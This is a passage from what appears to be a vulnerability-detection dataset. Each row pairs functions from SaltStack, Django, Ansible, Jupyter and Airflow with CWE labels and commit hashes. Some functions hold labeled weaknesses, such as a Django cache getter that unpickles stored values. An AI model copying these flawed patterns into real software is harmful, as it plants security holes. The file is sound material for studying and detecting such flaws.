            assert mdadm.present(""salt"", 5, ""dev0"") == ret[4]

    mock_raid_examine_replaced = MagicMock(
        side_effect=[{""MD_UUID"": ""6be5fc45:05802bba:1c2d6722:666f0e03""}, {}]
    )
    mock_raid_list_create = MagicMock(
        side_effect=[{}, {""salt"": {""uuid"": ""6be5fc45:05802bba:1c2d6722:666f0e03""}}]
    )
    with patch.dict(
        mdadm.__salt__,
        {
            ""raid.list"": mock_raid_list_create,
            ""file.access"": mock_file_access_ok,
            ""raid.examine"": mock_raid_examine_replaced,
            ""raid.assemble"": mock_raid_assemble_success,
            ""raid.add"": mock_raid_add_success,
            ""raid.save_config"": mock_raid_save_config,
        },
    ):
        with patch.dict(mdadm.__opts__, {""test"": False}):
            assert mdadm.present(""salt"", 5, [""dev0"", ""dev1""]) == ret[5]

    mock_raid_examine_replaced = MagicMock(
        side_effect=[{""MD_UUID"": ""6be5fc45:05802bba:1c2d6722:666f0e03""}, {}]
    )
    with patch.dict(
        mdadm.__salt__,
        {
            ""raid.list"": mock_raid_list_exists,
            ""file.access"": mock_file_access_ok,
            ""raid.examine"": mock_raid_examine_replaced,
            ""raid.add"": mock_raid_add_success,
            ""raid.save_config"": mock_raid_save_config,
        },
    ):
        with patch.dict(mdadm.__opts__, {""test"": False}):
            assert mdadm.present(""salt"", 5, [""dev0"", ""dev1""]) == ret[6]

    mock_raid_examine_replaced = MagicMock(
        side_effect=[{""MD_UUID"": ""6be5fc45:05802bba:1c2d6722:666f0e03""}, {}]
    )
    with patch.dict(
        mdadm.__salt__,
        {
            ""raid.list"": mock_raid_list_missing,
            ""file.access"": mock_file_access_ok,
            ""raid.examine"": mock_raid_examine_replaced,
            ""raid.assemble"": mock_raid_assemble_fail,
        },
    ):
        with patch.dict(mdadm.__opts__, {""test"": False}):
            assert mdadm.present(""salt"", 5, [""dev0"", ""dev1""]) == ret[7]",CWE-703,saltstack/salt,8abdd659087504a45cf0d720c018c6ac28b3937f,"def test_present():
    """"""
    Test to verify that the raid is present
    """"""
    ret = [
        {
            ""changes"": {},
            ""comment"": ""Raid salt already present."",
            ""name"": ""salt"",
            ""result"": True,
        },
        {
            ""changes"": {},
            ""comment"": (
                ""Devices are a mix of RAID constituents with multiple MD_UUIDs:""
                "" ['6be5fc45:05802bba:1c2d6722:666f0e03', 'ffffffff:ffffffff:ffffffff:ffffffff'].""
            ),
            ""name"": ""salt"",
            ""result"": False,
        },
        {
            ""changes"": {},
            ""comment"": ""Raid will be created with: True"",
            ""name"": ""salt"",
            ""result"": None,
        },
        {
            ""changes"": {},
            ""comment"": ""Raid salt failed to be created."",
            ""name"": ""salt"",
            ""result"": False,
        },
        {
            ""changes"": {""uuid"": ""6be5fc45:05802bba:1c2d6722:666f0e03""},
            ""comment"": ""Raid salt created."",
            ""name"": ""salt"",
            ""result"": True,
        },
        {
            ""changes"": {
                ""added"": [""dev1""],
                ""uuid"": ""6be5fc45:05802bba:1c2d6722:666f0e03"",
            },
            ""comment"": ""Raid salt assembled. Added new device dev1 to salt.\n"",
            ""name"": ""salt"",
            ""result"": True,
        },
        {
            ""changes"": {""added"": [""dev1""]},
            ""comment"": ""Raid salt already present. Added new device dev1 to salt.\n"",
            ""name"": ""salt"",
            ""result"": True,
        },
        {
            ""changes"": {},
            ""comment"": ""Raid salt failed to be assembled."",
            ""name"": ""salt"",
            ""result"": False,
        },
    ]

    mock_raid_list_exists = MagicMock(
        return_value={""salt"": {""uuid"": ""6be5fc45:05802bba:1c2d6722:666f0e03""}}
    )
    mock_raid_list_missing = MagicMock(return_value={})

    mock_file_access_ok = MagicMock(return_value=True)

    mock_raid_examine_ok = MagicMock(
        return_value={""MD_UUID"": ""6be5fc45:05802bba:1c2d6722:666f0e03""}
    )
    mock_raid_examine_missing = MagicMock(return_value={})

    mock_raid_create_success = MagicMock(return_value=True)
    mock_raid_create_fail = MagicMock(return_value=False)

    mock_raid_assemble_success = MagicMock(return_value=True)
    mock_raid_assemble_fail = MagicMock(return_value=False)

    mock_raid_add_success = MagicMock(return_value=True)

    mock_raid_save_config = MagicMock(return_value=True)

    with patch.dict(
        mdadm.__salt__,
        {
            ""raid.list"": mock_raid_list_exists,
            ""file.access"": mock_file_access_ok,
            ""raid.examine"": mock_raid_examine_ok,
        },
    ):
        with patch.dict(mdadm.__opts__, {""test"": False}):
            assert mdadm.present(""salt"", 5, ""dev0"") == ret[0]

    mock_raid_examine_mixed = MagicMock(
        side_effect=[
            {""MD_UUID"": ""6be5fc45:05802bba:1c2d6722:666f0e03""},
            {""MD_UUID"": ""ffffffff:ffffffff:ffffffff:ffffffff""},
        ]
    )
    with patch.dict(
        mdadm.__salt__,
        {
            ""raid.list"": mock_raid_list_missing,
            ""file.access"": mock_file_access_ok,
            ""raid.examine"": mock_raid_examine_mixed,
        },
    ):
        with patch.dict(mdadm.__opts__, {""test"": False}):
            assert mdadm.present(""salt"", 5, [""dev0"", ""dev1""]) == ret[1]

    with patch.dict(
        mdadm.__salt__,
        {
            ""raid.list"": mock_raid_list_missing,
            ""file.access"": mock_file_access_ok,
            ""raid.examine"": mock_raid_examine_missing,
            ""raid.create"": mock_raid_create_success,
        },
    ):
        with patch.dict(mdadm.__opts__, {""test"": True}):
            assert mdadm.present(""salt"", 5, ""dev0"") == ret[2]

    with patch.dict(
        mdadm.__salt__,
        {
            ""raid.list"": mock_raid_list_missing,
            ""file.access"": mock_file_access_ok,
            ""raid.examine"": mock_raid_examine_missing,
            ""raid.create"": mock_raid_create_fail,
        },
    ):
        with patch.dict(mdadm.__opts__, {""test"": False}):
            assert mdadm.present(""salt"", 5, ""dev0"") == ret[3]

    mock_raid_list_create = MagicMock(
        side_effect=[{}, {""salt"": {""uuid"": ""6be5fc45:05802bba:1c2d6722:666f0e03""}}]
    )
    with patch.dict(
        mdadm.__salt__,
        {
            ""raid.list"": mock_raid_list_create,
            ""file.access"": mock_file_access_ok,
            ""raid.examine"": mock_raid_examine_missing,
            ""raid.create"": mock_raid_create_success,
            ""raid.save_config"": mock_raid_save_config,
        },
    ):
        with patch.dict(mdadm.__opts__, {""test"": False}):
            assert mdadm.present(""salt"", 5, ""dev0"") == ret[4]

    mock_raid_examine_replaced = MagicMock(
        side_effect=[{""MD_UUID"": ""6be5fc45:05802bba:1c2d6722:666f0e03""}, {}]
    )
    mock_raid_list_create = MagicMock(
        side_effect=[{}, {""salt"": {""uuid"": ""6be5fc45:05802bba:1c2d6722:666f0e03""}}]
    )
    with patch.dict(
        mdadm.__salt__,
        {
            ""raid.list"": mock_raid_list_create,
            ""file.access"": mock_file_access_ok,
            ""raid.examine"": mock_raid_examine_replaced,
            ""raid.assemble"": mock_raid_assemble_success,
            ""raid.add"": mock_raid_add_success,
            ""raid.save_config"": mock_raid_save_config,
        },
    ):
        with patch.dict(mdadm.__opts__, {""test"": False}):
            assert mdadm.present(""salt"", 5, [""dev0"", ""dev1""]) == ret[5]

    mock_raid_examine_replaced = MagicMock(
        side_effect=[{""MD_UUID"": ""6be5fc45:05802bba:1c2d6722:666f0e03""}, {}]
    )
    with patch.dict(
        mdadm.__salt__,
        {
            ""raid.list"": mock_raid_list_exists,
            ""file.access"": mock_file_access_ok,
            ""raid.examine"": mock_raid_examine_replaced,
            ""raid.add"": mock_raid_add_success,
            ""raid.save_config"": mock_raid_save_config,
        },
    ):
        with patch.dict(mdadm.__opts__, {""test"": False}):
            assert mdadm.present(""salt"", 5, [""dev0"", ""dev1""]) == ret[6]

    mock_raid_examine_replaced = MagicMock(
        side_effect=[{""MD_UUID"": ""6be5fc45:05802bba:1c2d6722:666f0e03""}, {}]
    )
    with patch.dict(
        mdadm.__salt__,
        {
            ""raid.list"": mock_raid_list_missing,
            ""file.access"": mock_file_access_ok,
            ""raid.examine"": mock_raid_examine_replaced,
            ""raid.assemble"": mock_raid_assemble_fail,
        },
    ):
        with patch.dict(mdadm.__opts__, {""test"": False}):
            assert mdadm.present(""salt"", 5, [""dev0"", ""dev1""]) == ret[7]"
,UNKNOWN,UNKNOWN,django/core/cache/backends/db.py,1,"def get(self, key, default=None, version=None):
        key = self.make_key(key, version=version)
        self.validate_key(key)
        db = router.db_for_read(self.cache_model_class)
        table = connections[db].ops.quote_name(self._table)
        cursor = connections[db].cursor()

        cursor.execute(""SELECT cache_key, value, expires FROM %s ""
                       ""WHERE cache_key = %%s"" % table, [key])
        row = cursor.fetchone()
        if row is None:
            return default
        now = timezone.now()
        if row[2] < now:
            db = router.db_for_write(self.cache_model_class)
            cursor = connections[db].cursor()
            cursor.execute(""DELETE FROM %s ""
                           ""WHERE cache_key = %%s"" % table, [key])
            transaction.commit_unless_managed(using=db)
            return default
        value = connections[db].ops.process_clob(row[1])
        return pickle.loads(base64.b64decode(value))","CWE-89, CWE-502",django/django,212a5129842ffec9d42ae0dbdb55964fab2c5fa2,"def get(self, key, default=None, version=None):
        key = self.make_key(key, version=version)
        self.validate_key(key)
        db = router.db_for_read(self.cache_model_class)
        table = connections[db].ops.quote_name(self._table)
        cursor = connections[db].cursor()

        cursor.execute(""SELECT cache_key, value, expires FROM %s ""
                       ""WHERE cache_key = %%s"" % table, [key])
        row = cursor.fetchone()
        if row is None:
            return default
        now = timezone.now()
        if row[2] < now:
            db = router.db_for_write(self.cache_model_class)
            cursor = connections[db].cursor()
            cursor.execute(""DELETE FROM %s ""
                           ""WHERE cache_key = %%s"" % table, [key])
            transaction.commit_unless_managed(using=db)
            return default
        value = connections[db].ops.process_clob(row[1])
        return pickle.loads(base64.decodestring(value))"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/cloud/clouds/softlayer.py,0,"def create(vm_):
    '''
    Create a single VM from a data dict
    '''
    try:
        # Check for required profile parameters before sending any API calls.
        if vm_['profile'] and config.is_profile_configured(__opts__,
                                                           __active_provider_name__ or 'softlayer',
                                                           vm_['profile']) is False:
            return False
    except AttributeError:
        pass

    # Since using ""provider: <provider-engine>"" is deprecated, alias provider
    # to use driver: ""driver: <provider-engine>""
    if 'provider' in vm_:
        vm_['driver'] = vm_.pop('provider')

    name = vm_['name']
    hostname = name
    domain = config.get_cloud_config_value(
        'domain', vm_, __opts__, default=None
    )
    if domain is None:
        SaltCloudSystemExit(
            'A domain name is required for the SoftLayer driver.'
        )

    if vm_.get('use_fqdn'):
        name = '.'.join([name, domain])
        vm_['name'] = name

    salt.utils.cloud.fire_event(
        'event',
        'starting create',
        'salt/cloud/{0}/creating'.format(name),
        {
            'name': name,
            'profile': vm_['profile'],
            'provider': vm_['driver'],
        },
        transport=__opts__['transport']
    )

    log.info('Creating Cloud VM {0}'.format(name))
    conn = get_conn()
    kwargs = {
        'hostname': hostname,
        'domain': domain,
        'startCpus': vm_['cpu_number'],
        'maxMemory': vm_['ram'],
        'hourlyBillingFlag': vm_['hourly_billing'],
    }

    local_disk_flag = config.get_cloud_config_value(
        'local_disk', vm_, __opts__, default=False
    )
    kwargs['localDiskFlag'] = local_disk_flag

    if 'image' in vm_:
        kwargs['operatingSystemReferenceCode'] = vm_['image']
        kwargs['blockDevices'] = []
        disks = vm_['disk_size']

        if isinstance(disks, int):
            disks = [str(disks)]
        elif isinstance(disks, str):
            disks = [size.strip() for size in disks.split(',')]

        count = 0
        for disk in disks:
            # device number '1' is reserved for the SWAP disk
            if count == 1:
                count += 1
            block_device = {'device': str(count),
                            'diskImage': {'capacity': str(disk)}}
            kwargs['blockDevices'].append(block_device)
            count += 1

            # Upper bound must be 5 as we're skipping '1' for the SWAP disk ID
            if count > 5:
                log.warning('More that 5 disks were specified for {0} .'
                            'The first 5 disks will be applied to the VM, '
                            'but the remaining disks will be ignored.\n'
                            'Please adjust your cloud configuration to only '
                            'specify a maximum of 5 disks.'.format(name))
                break

    elif 'global_identifier' in vm_:
        kwargs['blockDeviceTemplateGroup'] = {
            'globalIdentifier': vm_['global_identifier']
        }

    location = get_location(vm_)
    if location:
        kwargs['datacenter'] = {'name': location}

    private_vlan = config.get_cloud_config_value(
        'private_vlan', vm_, __opts__, default=False
    )
    if private_vlan:
        kwargs['primaryBackendNetworkComponent'] = {
            'networkVlan': {
                'id': private_vlan,
            }
        }

    private_network = config.get_cloud_config_value(
        'private_network', vm_, __opts__, default=False
    )
    if bool(private_network) is True:
        kwargs['privateNetworkOnlyFlag'] = 'True'

    public_vlan = config.get_cloud_config_value(
        'public_vlan', vm_, __opts__, default=False
    )
    if public_vlan:
        kwargs['primaryNetworkComponent'] = {
            'networkVlan': {
                'id': public_vlan,
            }
        }

    max_net_speed = config.get_cloud_config_value(
        'max_net_speed', vm_, __opts__, default=10
    )
    if max_net_speed:
        kwargs['networkComponents'] = [{
            'maxSpeed': int(max_net_speed)
        }]

    post_uri = config.get_cloud_config_value(
        'post_uri', vm_, __opts__, default=None
    )
    if post_uri:
        kwargs['postInstallScriptUri'] = post_uri

    salt.utils.cloud.fire_event(
        'event',
        'requesting instance',
        'salt/cloud/{0}/requesting'.format(name),
        {'kwargs': kwargs},
        transport=__opts__['transport']
    )

    try:
        response = conn.createObject(kwargs)
    except Exception as exc:
        log.error(
            'Error creating {0} on SoftLayer\n\n'
            'The following exception was thrown when trying to '
            'run the initial deployment: \n{1}'.format(
                name, str(exc)
            ),
            # Show the traceback if the debug logging level is enabled
            exc_info_on_loglevel=logging.DEBUG
        )
        return False

    ip_type = 'primaryIpAddress'
    private_ssh = config.get_cloud_config_value(
        'private_ssh', vm_, __opts__, default=False
    )
    private_wds = config.get_cloud_config_value(
        'private_windows', vm_, __opts__, default=False
    )
    if private_ssh or private_wds or public_vlan is None or public_vlan is False:
        ip_type = 'primaryBackendIpAddress'

    def wait_for_ip():
        '''
        Wait for the IP address to become available
        '''
        nodes = list_nodes_full()
        if ip_type in nodes[hostname]:
            return nodes[hostname][ip_type]
        time.sleep(1)
        return False

    ip_address = salt.utils.cloud.wait_for_fun(
        wait_for_ip,
        timeout=config.get_cloud_config_value(
            'wait_for_fun_timeout', vm_, __opts__, default=15 * 60),
    )
    if config.get_cloud_config_value('deploy', vm_, __opts__) is not True:
        return show_instance(hostname, call='action')

    SSH_PORT = 22
    WINDOWS_DS_PORT = 445
    managing_port = SSH_PORT
    if config.get_cloud_config_value('windows', vm_, __opts__) or \
            config.get_cloud_config_value('win_installer', vm_, __opts__):
        managing_port = WINDOWS_DS_PORT

    ssh_connect_timeout = config.get_cloud_config_value(
        'ssh_connect_timeout', vm_, __opts__, 15 * 60
    )
    connect_timeout = config.get_cloud_config_value(
        'connect_timeout', vm_, __opts__, ssh_connect_timeout
    )
    if not salt.utils.cloud.wait_for_port(ip_address,
                                          port=managing_port,
                                          timeout=connect_timeout):
        raise SaltCloudSystemExit(
            'Failed to authenticate against remote ssh'
        )

    pass_conn = get_conn(service='SoftLayer_Account')
    mask = {
        'virtualGuests': {
            'powerState': '',
            'operatingSystem': {
                'passwords': ''
            },
        },
    }

    def get_credentials():
        '''
        Wait for the password to become available
        '''
        node_info = pass_conn.getVirtualGuests(id=response['id'], mask=mask)
        for node in node_info:
            if node['id'] == response['id'] and \
                            'passwords' in node['operatingSystem'] and \
                            len(node['operatingSystem']['passwords']) > 0:
                return node['operatingSystem']['passwords'][0]['username'], node['operatingSystem']['passwords'][0]['password']
        time.sleep(5)
        return False

    username, passwd = salt.utils.cloud.wait_for_fun(  # pylint: disable=W0633
        get_credentials,
        timeout=config.get_cloud_config_value(
            'wait_for_fun_timeout', vm_, __opts__, default=15 * 60),
    )
    response['username'] = username
    response['password'] = passwd
    response['public_ip'] = ip_address

    ssh_username = config.get_cloud_config_value(
        'ssh_username', vm_, __opts__, default=username
    )

    vm_['ssh_host'] = ip_address
    vm_['password'] = passwd
    ret = salt.utils.cloud.bootstrap(vm_, __opts__)

    ret.update(response)

    salt.utils.cloud.fire_event(
        'event',
        'created instance',
        'salt/cloud/{0}/created'.format(name),
        {
            'name': name,
            'profile': vm_['profile'],
            'provider': vm_['driver'],
        },
        transport=__opts__['transport']
    )

    return ret",,saltstack/salt,ec6cd80496f4b1a23adb17c525c8eec2033ec5c8,"def create(vm_):
    '''
    Create a single VM from a data dict
    '''
    try:
        # Check for required profile parameters before sending any API calls.
        if vm_['profile'] and config.is_profile_configured(__opts__,
                                                           __active_provider_name__ or 'softlayer',
                                                           vm_['profile']) is False:
            return False
    except AttributeError:
        pass

    # Since using ""provider: <provider-engine>"" is deprecated, alias provider
    # to use driver: ""driver: <provider-engine>""
    if 'provider' in vm_:
        vm_['driver'] = vm_.pop('provider')

    name = vm_['name']
    hostname = name
    domain = config.get_cloud_config_value(
        'domain', vm_, __opts__, default=None
    )
    if domain is None:
        SaltCloudSystemExit(
            'A domain name is required for the SoftLayer driver.'
        )

    if vm_.get('use_fqdn'):
        name = '.'.join([name, domain])
        vm_['name'] = name

    salt.utils.cloud.fire_event(
        'event',
        'starting create',
        'salt/cloud/{0}/creating'.format(name),
        {
            'name': name,
            'profile': vm_['profile'],
            'provider': vm_['driver'],
        },
        transport=__opts__['transport']
    )

    log.info('Creating Cloud VM {0}'.format(name))
    conn = get_conn()
    kwargs = {
        'hostname': hostname,
        'domain': domain,
        'startCpus': vm_['cpu_number'],
        'maxMemory': vm_['ram'],
        'hourlyBillingFlag': vm_['hourly_billing'],
    }

    local_disk_flag = config.get_cloud_config_value(
        'local_disk', vm_, __opts__, default=False
    )
    kwargs['localDiskFlag'] = local_disk_flag

    if 'image' in vm_:
        kwargs['operatingSystemReferenceCode'] = vm_['image']
        kwargs['blockDevices'] = []
        disks = vm_['disk_size']

        if isinstance(disks, int):
            disks = [str(disks)]
        elif isinstance(disks, str):
            disks = [size.strip() for size in disks.split(',')]

        count = 0
        for disk in disks:
            # device number '1' is reserved for the SWAP disk
            if count == 1:
                count += 1
            block_device = {'device': str(count),
                            'diskImage': {'capacity': str(disk)}}
            kwargs['blockDevices'].append(block_device)
            count += 1

            # Upper bound must be 5 as we're skipping '1' for the SWAP disk ID
            if count > 5:
                log.warning('More that 5 disks were specified for {0} .'
                            'The first 5 disks will be applied to the VM, '
                            'but the remaining disks will be ignored.\n'
                            'Please adjust your cloud configuration to only '
                            'specify a maximum of 5 disks.'.format(name))
                break

    elif 'global_identifier' in vm_:
        kwargs['blockDeviceTemplateGroup'] = {
            'globalIdentifier': vm_['global_identifier']
        }

    location = get_location(vm_)
    if location:
        kwargs['datacenter'] = {'name': location}

    private_vlan = config.get_cloud_config_value(
        'private_vlan', vm_, __opts__, default=False
    )
    if private_vlan:
        kwargs['primaryBackendNetworkComponent'] = {
            'networkVlan': {
                'id': private_vlan,
            }
        }

    private_network = config.get_cloud_config_value(
        'private_network', vm_, __opts__, default=False
    )
    if bool(private_network) is True:
        kwargs['privateNetworkOnlyFlag'] = 'True'

    public_vlan = config.get_cloud_config_value(
        'public_vlan', vm_, __opts__, default=False
    )
    if public_vlan:
        kwargs['primaryNetworkComponent'] = {
            'networkVlan': {
                'id': public_vlan,
            }
        }

    max_net_speed = config.get_cloud_config_value(
        'max_net_speed', vm_, __opts__, default=10
    )
    if max_net_speed:
        kwargs['networkComponents'] = [{
            'maxSpeed': int(max_net_speed)
        }]

    salt.utils.cloud.fire_event(
        'event',
        'requesting instance',
        'salt/cloud/{0}/requesting'.format(name),
        {'kwargs': kwargs},
        transport=__opts__['transport']
    )

    try:
        response = conn.createObject(kwargs)
    except Exception as exc:
        log.error(
            'Error creating {0} on SoftLayer\n\n'
            'The following exception was thrown when trying to '
            'run the initial deployment: \n{1}'.format(
                name, str(exc)
            ),
            # Show the traceback if the debug logging level is enabled
            exc_info_on_loglevel=logging.DEBUG
        )
        return False

    ip_type = 'primaryIpAddress'
    private_ssh = config.get_cloud_config_value(
        'private_ssh', vm_, __opts__, default=False
    )
    private_wds = config.get_cloud_config_value(
        'private_windows', vm_, __opts__, default=False
    )
    if private_ssh or private_wds or public_vlan is None or public_vlan is False:
        ip_type = 'primaryBackendIpAddress'

    def wait_for_ip():
        '''
        Wait for the IP address to become available
        '''
        nodes = list_nodes_full()
        if ip_type in nodes[hostname]:
            return nodes[hostname][ip_type]
        time.sleep(1)
        return False

    ip_address = salt.utils.cloud.wait_for_fun(
        wait_for_ip,
        timeout=config.get_cloud_config_value(
            'wait_for_fun_timeout', vm_, __opts__, default=15 * 60),
    )
    if config.get_cloud_config_value('deploy', vm_, __opts__) is not True:
        return show_instance(hostname, call='action')

    SSH_PORT = 22
    WINDOWS_DS_PORT = 445
    managing_port = SSH_PORT
    if config.get_cloud_config_value('windows', vm_, __opts__) or \
            config.get_cloud_config_value('win_installer', vm_, __opts__):
        managing_port = WINDOWS_DS_PORT

    ssh_connect_timeout = config.get_cloud_config_value(
        'ssh_connect_timeout', vm_, __opts__, 15 * 60
    )
    connect_timeout = config.get_cloud_config_value(
        'connect_timeout', vm_, __opts__, ssh_connect_timeout
    )
    if not salt.utils.cloud.wait_for_port(ip_address,
                                          port=managing_port,
                                          timeout=connect_timeout):
        raise SaltCloudSystemExit(
            'Failed to authenticate against remote ssh'
        )

    pass_conn = get_conn(service='SoftLayer_Account')
    mask = {
        'virtualGuests': {
            'powerState': '',
            'operatingSystem': {
                'passwords': ''
            },
        },
    }

    def get_credentials():
        '''
        Wait for the password to become available
        '''
        node_info = pass_conn.getVirtualGuests(id=response['id'], mask=mask)
        for node in node_info:
            if node['id'] == response['id'] and \
                            'passwords' in node['operatingSystem'] and \
                            len(node['operatingSystem']['passwords']) > 0:
                return node['operatingSystem']['passwords'][0]['username'], node['operatingSystem']['passwords'][0]['password']
        time.sleep(5)
        return False

    username, passwd = salt.utils.cloud.wait_for_fun(  # pylint: disable=W0633
        get_credentials,
        timeout=config.get_cloud_config_value(
            'wait_for_fun_timeout', vm_, __opts__, default=15 * 60),
    )
    response['username'] = username
    response['password'] = passwd
    response['public_ip'] = ip_address

    ssh_username = config.get_cloud_config_value(
        'ssh_username', vm_, __opts__, default=username
    )

    vm_['ssh_host'] = ip_address
    vm_['password'] = passwd
    ret = salt.utils.cloud.bootstrap(vm_, __opts__)

    ret.update(response)

    salt.utils.cloud.fire_event(
        'event',
        'created instance',
        'salt/cloud/{0}/created'.format(name),
        {
            'name': name,
            'profile': vm_['profile'],
            'provider': vm_['driver'],
        },
        transport=__opts__['transport']
    )

    return ret"
,UNKNOWN,UNKNOWN,lib/ansible/vars/__init__.py,1,"def set_host_facts(self, host, facts):
        '''
        Sets or updates the given facts for a host in the fact cache.
        '''

        assert isinstance(facts, dict)

        if host.name not in self._fact_cache:
            self._fact_cache[host.name] = facts
        else:
            try:
                self._fact_cache[host.name].update(facts)
            except KeyError:
                self._fact_cache[host.name] = facts",CWE-703,ansible/ansible,292e2da4e10253eb5de388736cc89295cd860183,"def set_host_facts(self, host, facts):
        '''
        Sets or updates the given facts for a host in the fact cache.
        '''

        assert isinstance(facts, dict)

        if host.name not in self._nonpersistent_fact_cache:
            self._nonpersistent_fact_cache[host.name] = facts
        else:
            try:
                self._nonpersistent_fact_cache[host.name].update(facts)
            except KeyError:
                self._nonpersistent_fact_cache[host.name] = facts"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/base/handlers.py,0,"def skip_check_origin(self):
        """"""Ask my login_handler if I should skip the origin_check
        
        For example: in the default LoginHandler, if a request is token-authenticated,
        origin checking should be skipped.
        """"""
        if self.request.method == 'OPTIONS':
            # no origin-check on options requests, which are used to check origins!
            return True
        if self.login_handler is None or not hasattr(self.login_handler, 'should_check_origin'):
            return False
        return not self.login_handler.should_check_origin(self)",,jupyter/notebook,a8c6b8bab633c77ebcbd852c1327e29918e1deee,"def skip_check_origin(self):
        """"""Ask my login_handler if I should skip the origin_check
        
        For example: in the default LoginHandler, if a request is token-authenticated,
        origin checking should be skipped.
        """"""
        if self.login_handler is None or not hasattr(self.login_handler, 'should_check_origin'):
            return False
        return not self.login_handler.should_check_origin(self)"
,UNKNOWN,UNKNOWN,task-sdk/src/airflow/sdk/execution_time/task_runner.py,1,"def run(
    ti: RuntimeTaskInstance,
    context: Context,
    log: Logger,
) -> tuple[TaskInstanceState, ToSupervisor | None, BaseException | None]:
    """"""Run the task in this process.""""""
    import signal

    from airflow.exceptions import (
        AirflowException,
        AirflowFailException,
        AirflowRescheduleException,
        AirflowSensorTimeout,
        AirflowSkipException,
        AirflowTaskTerminated,
        AirflowTaskTimeout,
        DagRunTriggerException,
        DownstreamTasksSkipped,
        TaskDeferred,
    )

    if TYPE_CHECKING:
        assert ti.task is not None
        assert isinstance(ti.task, BaseOperator)

    parent_pid = os.getpid()

    def _on_term(signum, frame):
        pid = os.getpid()
        if pid != parent_pid:
            return

        ti.task.on_kill()

    signal.signal(signal.SIGTERM, _on_term)

    msg: ToSupervisor | None = None
    state: TaskInstanceState
    error: BaseException | None = None

    try:
        # First, clear the xcom data sent from server
        if ti._ti_context_from_server and (keys_to_delete := ti._ti_context_from_server.xcom_keys_to_clear):
            for x in keys_to_delete:
                log.debug(""Clearing XCom with key"", key=x)
                XCom.delete(
                    key=x,
                    dag_id=ti.dag_id,
                    task_id=ti.task_id,
                    run_id=ti.run_id,
                )

        with set_current_context(context):
            # This is the earliest that we can render templates -- as if it excepts for any reason we need to
            # catch it and handle it like a normal task failure
            if early_exit := _prepare(ti, log, context):
                msg = early_exit
                ti.state = state = TaskInstanceState.FAILED
                return state, msg, error

            try:
                result = _execute_task(context=context, ti=ti, log=log)
            except Exception:
                import jinja2

                # If the task failed, swallow rendering error so it doesn't mask the main error.
                with contextlib.suppress(jinja2.TemplateSyntaxError, jinja2.UndefinedError):
                    ti.rendered_map_index = _render_map_index(context, ti=ti, log=log)
                raise
            else:  # If the task succeeded, render normally to let rendering error bubble up.
                ti.rendered_map_index = _render_map_index(context, ti=ti, log=log)

        _push_xcom_if_needed(result, ti, log)

        msg, state = _handle_current_task_success(context, ti)
    except DownstreamTasksSkipped as skip:
        log.info(""Skipping downstream tasks."")
        tasks_to_skip = skip.tasks if isinstance(skip.tasks, list) else [skip.tasks]
        SUPERVISOR_COMMS.send(msg=SkipDownstreamTasks(tasks=tasks_to_skip))
        msg, state = _handle_current_task_success(context, ti)
    except DagRunTriggerException as drte:
        msg, state = _handle_trigger_dag_run(drte, context, ti, log)
    except TaskDeferred as defer:
        msg, state = _defer_task(defer, ti, log)
    except AirflowSkipException as e:
        if e.args:
            log.info(""Skipping task."", reason=e.args[0])
        msg = TaskState(
            state=TaskInstanceState.SKIPPED,
            end_date=datetime.now(tz=timezone.utc),
            rendered_map_index=ti.rendered_map_index,
        )
        state = TaskInstanceState.SKIPPED
    except AirflowRescheduleException as reschedule:
        log.info(""Rescheduling task, marking task as UP_FOR_RESCHEDULE"")
        msg = RescheduleTask(
            reschedule_date=reschedule.reschedule_date, end_date=datetime.now(tz=timezone.utc)
        )
        state = TaskInstanceState.UP_FOR_RESCHEDULE
    except (AirflowFailException, AirflowSensorTimeout) as e:
        # If AirflowFailException is raised, task should not retry.
        # If a sensor in reschedule mode reaches timeout, task should not retry.
        log.exception(""Task failed with exception"")
        msg = TaskState(
            state=TaskInstanceState.FAILED,
            end_date=datetime.now(tz=timezone.utc),
            rendered_map_index=ti.rendered_map_index,
        )
        state = TaskInstanceState.FAILED
        error = e
    except (AirflowTaskTimeout, AirflowException, AirflowRuntimeError) as e:
        # We should allow retries if the task has defined it.
        log.exception(""Task failed with exception"")
        msg, state = _handle_current_task_failed(ti)
        error = e
    except AirflowTaskTerminated as e:
        # External state updates are already handled with `ti_heartbeat` and will be
        # updated already be another UI API. So, these exceptions should ideally never be thrown.
        # If these are thrown, we should mark the TI state as failed.
        log.exception(""Task failed with exception"")
        msg = TaskState(
            state=TaskInstanceState.FAILED,
            end_date=datetime.now(tz=timezone.utc),
            rendered_map_index=ti.rendered_map_index,
        )
        state = TaskInstanceState.FAILED
        error = e
    except SystemExit as e:
        # SystemExit needs to be retried if they are eligible.
        log.error(""Task exited"", exit_code=e.code)
        msg, state = _handle_current_task_failed(ti)
        error = e
    except BaseException as e:
        log.exception(""Task failed with exception"")
        msg, state = _handle_current_task_failed(ti)
        error = e
    finally:
        if msg:
            SUPERVISOR_COMMS.send(msg=msg)

    # Return the message to make unit tests easier too
    ti.state = state
    return state, msg, error",CWE-703,apache/airflow,400275fce5f749df2a98b22f9de93bf3bcbf8d25,"def run(
    ti: RuntimeTaskInstance,
    context: Context,
    log: Logger,
) -> tuple[TaskInstanceState, ToSupervisor | None, BaseException | None]:
    """"""Run the task in this process.""""""
    from airflow.exceptions import (
        AirflowException,
        AirflowFailException,
        AirflowRescheduleException,
        AirflowSensorTimeout,
        AirflowSkipException,
        AirflowTaskTerminated,
        AirflowTaskTimeout,
        DagRunTriggerException,
        DownstreamTasksSkipped,
        TaskDeferred,
    )

    if TYPE_CHECKING:
        assert ti.task is not None
        assert isinstance(ti.task, BaseOperator)

    msg: ToSupervisor | None = None
    state: TaskInstanceState
    error: BaseException | None = None

    try:
        # First, clear the xcom data sent from server
        if ti._ti_context_from_server and (keys_to_delete := ti._ti_context_from_server.xcom_keys_to_clear):
            for x in keys_to_delete:
                log.debug(""Clearing XCom with key"", key=x)
                XCom.delete(
                    key=x,
                    dag_id=ti.dag_id,
                    task_id=ti.task_id,
                    run_id=ti.run_id,
                )

        with set_current_context(context):
            # This is the earliest that we can render templates -- as if it excepts for any reason we need to
            # catch it and handle it like a normal task failure
            if early_exit := _prepare(ti, log, context):
                msg = early_exit
                ti.state = state = TaskInstanceState.FAILED
                return state, msg, error

            try:
                result = _execute_task(context=context, ti=ti, log=log)
            except Exception:
                import jinja2

                # If the task failed, swallow rendering error so it doesn't mask the main error.
                with contextlib.suppress(jinja2.TemplateSyntaxError, jinja2.UndefinedError):
                    ti.rendered_map_index = _render_map_index(context, ti=ti, log=log)
                raise
            else:  # If the task succeeded, render normally to let rendering error bubble up.
